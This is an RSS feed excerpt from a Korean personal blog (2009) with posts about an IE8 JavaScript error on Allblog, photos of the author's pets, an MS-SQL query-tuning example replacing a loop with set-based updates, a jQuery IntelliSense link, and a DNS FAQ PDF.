<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
	<channel>
		<title>Pleasure resort of Gleam™</title>
		<link>http://gleam.pe.kr/</link>
		<description>일상의 작은 행복을 찾아서~~~</description>
		<language>ko</language>
		<pubDate>Sat, 28 Mar 2009 16:39:27 +0900</pubDate>
		<generator>Tistory 1.1 (http://www.tistory.com/)</generator>
		<image>
		<title>Pleasure resort of Gleam™</title>
		<url><![CDATA[http://cfs4.tistory.com/upload_control/download.blog?fhandle=YmxvZzU1NTBAZnM0LnRpc3RvcnkuY29tOi9hdHRhY2gvMC8wNzAwMDAwMDAwMDAuanBn]]></url>
		<link>http://gleam.pe.kr/</link>
		<description>일상의 작은 행복을 찾아서~~~</description>
		</image>
		<item>
			<title>Allbog error in  IE8</title>
			<link>http://gleam.pe.kr/496</link>
			<description>올블 개발팀&amp;nbsp;리포트용 포스트.&lt;br /&gt;
나말고 다른 사람도 많이 리포트 했겠지만, 혹시나 하는맘에... 글고 마땅히 쓸곳도 없고.. 그래도 블로그가 가장 만만한...ㅋ&lt;br /&gt;
&lt;br /&gt;간만에 올블 홈페이지를 갔는데 Javascript에러가 난다.&lt;br /&gt;
환경은 XP Pro sp3&amp;nbsp;+ IE8..&lt;br /&gt;
&lt;br /&gt;Windows 7 Besta 7000의 IE8 Besta에서는 오류가 없는데...;;&lt;br /&gt;
&lt;br /&gt;아래 이미지에 표시된 텝부분에 마우스 올리면 오류 메시지가 보임.&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile3.uf.tistory.com/original/204B530E49C9793820FEF1&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile3.uf.tistory.com/image/204B530E49C9793820FEF1&quot; alt=&quot;&quot; filemime=&quot;image/png&quot; filename=&quot;allblog_error.png&quot; height=&quot;417&quot; width=&quot;683&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>ie8</category>
			<category>JavaScript</category>
			<category>에러</category>
			<category>올블로그</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/496</guid>
			<comments>http://gleam.pe.kr/496#entry496comment</comments>
			<pubDate>Wed, 25 Mar 2009 09:24:03 +0900</pubDate>
		</item>
		<item>
			<title>간만에 별이, 솔이 사진</title>
			<link>http://gleam.pe.kr/495</link>
			<description>&lt;DIV&gt;집에서 나오는데.. 별이 솔이가 귀여운짓을 해서 한컷&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile21.uf.tistory.com/original/152A641A49A8F8F6EAE3E1&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile21.uf.tistory.com/image/152A641A49A8F8F6EAE3E1&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;P1016132.jpg&quot; height=&quot;260&quot; width=&quot;340&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile1.uf.tistory.com/original/152A5E1A49A8F8F61180C2&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile1.uf.tistory.com/image/152A5E1A49A8F8F61180C2&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;P1016130.jpg&quot; height=&quot;260&quot; width=&quot;340&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile4.uf.tistory.com/original/152B561A49A8F8F6C75D9E&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile4.uf.tistory.com/image/152B561A49A8F8F6C75D9E&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;P1016128.jpg&quot; height=&quot;447&quot; width=&quot;340&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile22.uf.tistory.com/original/122BD21A49A8F8F6DAA735&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile22.uf.tistory.com/image/122BD21A49A8F8F6DAA735&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;P1016123.jpg&quot; height=&quot;447&quot; width=&quot;340&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile22.uf.tistory.com/original/142BF71A49A8F8F6C391D8&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile22.uf.tistory.com/image/142BF71A49A8F8F6C391D8&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;P1016121.jpg&quot; height=&quot;260&quot; width=&quot;340&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;br /&gt;#1. 지들 사진찍는다고 놀다말고 쳐다보고 있는...;;&lt;br /&gt;
#2. 간만에 급하게 사진찍었더니 잘 안나온다. ㅠ.ㅠ&lt;br /&gt;
&lt;/DIV&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>고양이</category>
			<category>사진</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/495</guid>
			<comments>http://gleam.pe.kr/495#entry495comment</comments>
			<pubDate>Sat, 28 Feb 2009 17:43:52 +0900</pubDate>
		</item>
		<item>
			<title>쿼리 튜닝 ( MS-SQL Query tuning)</title>
			<link>http://gleam.pe.kr/494</link>
			<description>While Loop를 사용하는 아래와 같은 쿼리가 있다.&lt;br /&gt;
(원래 Cursor를 사용 하던 쿼리였다.)&lt;br /&gt;
&lt;PRE&gt;&lt;CODE&gt;     SET NOCOUNT ON;
    SET XACT_ABORT ON;

    BEGIN TRAN                                                                              -- 트랜잭션 시작

    DECLARE @RegUser                 CHAR(8)
        SET @RegUser=&#039;20070073&#039;

    DECLARE @iCnt                   INT             -- Loop 변수
          , @iTotalCnt              INT             -- 전체 데이터 수
          , @sPrevColGrp            VARCHAR(30)
     SELECT @iCnt=0, @iTotalCnt=0, @sPrevColGrp=&#039;&#039;

    -- 임시 테이블 선언
    DECLARE @tbTmp TABLE (
        Idx                         INT             IDENTITY(1,1)
       ,ColGrp                      INT
       ,Col01                       VARCHAR(30)
       ,Col02                       VARCHAR(30)
       ,Col03                       VARCHAR(30)
       ,RegDate                     DATETIME        DEFAULT(GETDATE())
    )
    DECLARE @tbTmp2 TABLE (
        ColGrp                     INT
       ,ColGrpSeq                  INT
       ,RegDate                    DATETIME        DEFAULT(GETDATE())
    )

    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES (&#039;1&#039;, 5477)
    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES (&#039;2&#039;, 8901)
    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES (&#039;3&#039;, 9901)



    INSERT INTO @tbTmp (ColGrp, Col01, Col02, Col03)
    SELECT *
      FROM (
            SELECT &#039;1&#039; AS ColGrp, &#039;Col01_1&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
            UNION
            SELECT &#039;2&#039; AS ColGrp, &#039;Col01_2&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
            UNION
            SELECT &#039;2&#039; AS ColGrp, &#039;Col01_3&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
            UNION
            SELECT &#039;3&#039; AS ColGrp, &#039;Col01_4&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
            UNION
            SELECT &#039;3&#039; AS ColGrp, &#039;Col01_5&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
           ) A

    SELECT @iTotalCnt=COUNT(*) FROM @tbTmp                                                  -- 선택된 항목의 COUNT

    WHILE (@iTotalCnt&amp;gt;@iCnt)                                                                -- Loop 시작
    BEGIN
        SET @iCnt = @iCnt+1                                                                 -- Loop count 증가
        PRINT (&#039;@iTotalCnt is &#039; + CAST(@iTotalCnt AS VARCHAR) + &#039;, @iCnt is &#039; + CAST(@iCnt AS VARCHAR))

        IF (((SELECT ColGrp FROM @tbTmp WHERE Idx=@iCnt) &amp;lt;&amp;gt; @sPrevColGrp) OR (@sPrevColGrp = &#039;&#039;))
        BEGIN
            SELECT @sPrevColGrp = ColGrp FROM @tbTmp WHERE Idx=@iCnt

                INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq)
                SELECT A.ColGrp, (MAX(B.ColGrpSeq)+1) AS ColGrpSeq
                  FROM @tbTmp A
                  JOIN @tbTmp2 B
                    ON A.ColGrp = B.ColGrp
                 WHERE A.Idx =@iCnt
              GROUP BY A.ColGrp


            UPDATE @tbTmp
               SET Col02 =  A.Col01 + &#039;_&#039; + CAST(ISNULL( (SELECT MAX(ColGrpSeq) FROM @tbTmp2 WHERE ColGrp = A.ColGrp) , 1) AS VARCHAR)
              FROM @tbTmp A
             WHERE A.Idx&amp;gt;=@iCnt
        END

        UPDATE @tbTmp
           SET Col03 = (
                    A.Col01 + &#039;_&#039; + Col02 +&#039;_&#039; + CAST(Idx AS VARCHAR)
               )
          FROM @tbTmp A
         WHERE A.Idx=@iCnt
    END

    SELECT * FROM @tbTmp
    SELECT * FROM @tbTmp2
    ROLLBACK TRAN&lt;/CODE&gt;&lt;/PRE&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://gleam.tistory.com/attachment/49a2655d42f909M.sql&quot;&gt;&lt;img src=&quot;http://cfs.tistory.com/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; before.sql&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfs10.tistory.com/original/35/tistory/2009/02/23/17/53/49a2640bb13d4&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfs10.tistory.com/image/35/tistory/2009/02/23/17/53/49a2640bb13d4&quot; alt=&quot;원본 쿼리 실행 결과&quot; filemime=&quot;&quot; filename=&quot;49a2640bb13d49Y.png&quot; height=&quot;446&quot; width=&quot;570&quot;/&gt;&lt;/a&gt;&lt;p class=&quot;cap1&quot;&gt;원본 쿼리 실행 결과&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfs10.tistory.com/original/6/tistory/2009/02/23/17/53/49a2640bd20f9&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfs10.tistory.com/image/6/tistory/2009/02/23/17/53/49a2640bd20f9&quot; alt=&quot;원본 쿼리 통계&quot; filemime=&quot;&quot; filename=&quot;49a2640bd20f995.png&quot; height=&quot;289&quot; width=&quot;600&quot;/&gt;&lt;/a&gt;&lt;p class=&quot;cap1&quot;&gt;원본 쿼리 통계&lt;/p&gt;&lt;/div&gt;&lt;br /&gt;
이 쿼리에서 Loop를 제거하고 아래와 같이 만들었다.&lt;br /&gt;
&lt;PRE&gt;&lt;CODE&gt;    SET NOCOUNT ON;
    SET XACT_ABORT ON;
    BEGIN TRAN

    DECLARE @RegUser                 CHAR(8)
        SET @RegUser=&#039;20070073&#039;

    DECLARE @iCnt                   INT             -- Loop 변수
          , @iTotalCnt              INT             -- 전체 데이터 수
          , @sPrevColGrp            VARCHAR(30)
     SELECT @iCnt=0, @iTotalCnt=0, @sPrevColGrp=&#039;&#039;

    -- 임시 테이블 선언
    DECLARE @tbTmp TABLE (
        Idx                         INT             IDENTITY(1,1)
       ,ColGrp                      INT
       ,Col01                       VARCHAR(30)
       ,Col02                       VARCHAR(30)
       ,Col03                       VARCHAR(30)
       ,RegDate                     DATETIME        DEFAULT(GETDATE())
    )
    DECLARE @tbTmp2 TABLE (
        ColGrp                     INT
       ,ColGrpSeq                  INT
       ,RegDate                    DATETIME        DEFAULT(GETDATE())
    )

        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES (&#039;1&#039;, 5477)
        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES (&#039;2&#039;, 8901)
        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES (&#039;3&#039;, 9901)



        INSERT INTO @tbTmp (ColGrp, Col01, Col02, Col03)
        SELECT *
          FROM (
                SELECT &#039;1&#039; AS ColGrp, &#039;Col01_1&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
                UNION
                SELECT &#039;2&#039; AS ColGrp, &#039;Col01_2&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
                UNION
                SELECT &#039;2&#039; AS ColGrp, &#039;Col01_3&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
                UNION
                SELECT &#039;3&#039; AS ColGrp, &#039;Col01_4&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
                UNION
                SELECT &#039;3&#039; AS ColGrp, &#039;Col01_5&#039; AS Col01, &#039;&#039; AS Col02, &#039;&#039; AS Col03
               ) A

        SELECT @iTotalCnt=COUNT(*) FROM @tbTmp                                                  -- 선택된 항목의 COUNT

        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq)
        SELECT A.ColGrp, (MAX(B.ColGrpSeq)+1) AS ColGrpSeq
          FROM @tbTmp A
          JOIN @tbTmp2 B
            ON A.ColGrp = B.ColGrp
      GROUP BY A.ColGrp

        UPDATE @tbTmp
           SET Col02 =  A.Col01 + &#039;_&#039; + CAST(ISNULL( (SELECT MAX(ColGrpSeq) FROM @tbTmp2 WHERE ColGrp = A.ColGrp) , 1) AS VARCHAR)
          FROM @tbTmp A
         WHERE A.Idx&amp;gt;=@iCnt

        UPDATE @tbTmp
           SET Col03 = (
                    A.Col01 + &#039;_&#039; + Col02 +&#039;_&#039; + CAST(Idx AS VARCHAR)
               )
          FROM @tbTmp A


        SELECT * FROM @tbTmp
        SELECT * FROM @tbTmp2
    ROLLBACK TRAN&lt;/CODE&gt;&lt;/PRE&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://gleam.tistory.com/attachment/49a2655d2880390.sql&quot;&gt;&lt;img src=&quot;http://cfs.tistory.com/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; after.sql&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfs10.tistory.com/original/23/tistory/2009/02/23/17/53/49a2640b7cde3&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfs10.tistory.com/image/23/tistory/2009/02/23/17/53/49a2640b7cde3&quot; alt=&quot;수정된 쿼리 실행 결과&quot; filemime=&quot;&quot; filename=&quot;49a2640b7cde39M.png&quot; height=&quot;359&quot; width=&quot;591&quot;/&gt;&lt;/a&gt;&lt;p class=&quot;cap1&quot;&gt;수정된 쿼리 실행 결과&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfs10.tistory.com/original/28/tistory/2009/02/23/17/53/49a2640b945a3&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfs10.tistory.com/image/28/tistory/2009/02/23/17/53/49a2640b945a3&quot; alt=&quot;수정된 쿼리 통계&quot; filemime=&quot;&quot; filename=&quot;49a2640b945a39R.png&quot; height=&quot;289&quot; width=&quot;600&quot;/&gt;&lt;/a&gt;&lt;p class=&quot;cap1&quot;&gt;수정된 쿼리 통계&lt;/p&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;딱 봐도 속도가 많이 빨라졌다...ㅋ&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Dev &amp; Mng</category>
			<category>MS-SQL</category>
			<category>query</category>
			<category>tuning</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/494</guid>
			<comments>http://gleam.pe.kr/494#entry494comment</comments>
			<pubDate>Mon, 23 Feb 2009 18:02:16 +0900</pubDate>
		</item>
		<item>
			<title>jQuery Intellisense in Visual Studio 2008</title>
			<link>http://gleam.pe.kr/493</link>
			<description>&lt;A title=&quot;[http://ansys.tistory.com/entry/jQuery-Intellisense-in-Visual-Studio-2008]로 이동합니다.&quot; href=&quot;http://ansys.tistory.com/entry/jQuery-Intellisense-in-Visual-Studio-2008&quot; target=_blank&gt;http://ansys.tistory.com/entry/jQuery-Intellisense-in-Visual-Studio-2008&lt;/A&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Dev &amp; Mng</category>
			<category>jquery</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/493</guid>
			<comments>http://gleam.pe.kr/493#entry493comment</comments>
			<pubDate>Mon, 16 Feb 2009 22:33:27 +0900</pubDate>
		</item>
		<item>
			<title>예전 자료 정리 - NTFAQ DNS FAQ</title>
			<link>http://gleam.pe.kr/492</link>
			<description>&lt;br /&gt;
NTFAQ DNS FAQ&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://gleam.tistory.com/attachment/499964b0cdca494.pdf&quot;&gt;&lt;img src=&quot;http://cfs.tistory.com/blog/image/extension/pdf.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; NTFAQDNSFAQ리스트.pdf&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
